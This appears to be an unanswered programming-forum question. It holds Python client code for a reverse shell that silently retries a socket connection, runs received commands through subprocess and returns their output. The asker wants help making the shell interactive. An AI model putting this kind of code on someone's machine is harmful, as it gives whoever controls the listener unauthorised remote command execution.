I can't Create interactive shell using reverse shell to execute python files

136 views Asked by At

I am trying to execute the python file using reverse shell, where it should ask the input remotely in server while executing 1st.py(which is in clients directory) but instead of that, it is asking in clients terminal. I am unable to send the(1st.py) input to server.

import socket
import subprocess
from subprocess import PIPE,Popen
import os
def connect():
    global host
    global port
    global s
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    host=socket.gethostname()
    port=9999
    connected = False
    while not connected:
        try:
            s.connect((host, port))
            connected =True
        except Exception as e:
            pass
def listen():
    while True:
        data=s.recv(1024).decode()
        if str(data) =='q':
            break
        if str(data) =='python_exec':
            python_exec()
            break
        else:
            cmd=subprocess.getoutput(data)
            print(cmd)
        s.send(cmd.encode())

def close():
    s.close()

def python_exec():
    p = Popen(["python","1st.py"], stdin=PIPE, stdout=PIPE)
    print(p)
"""I need to send this input action to server terminal but
 I am failing to create interactive shell between them"""

"""this is where I am unable to do that.
I'm not getting how to use popen to send input to server 
I think can popen communicate is solution but it is not working""" 

def main():
    connect()
    listen()
    connect()
main()

please suggest me how to create interactive shell between client and server

0

There are 0 answers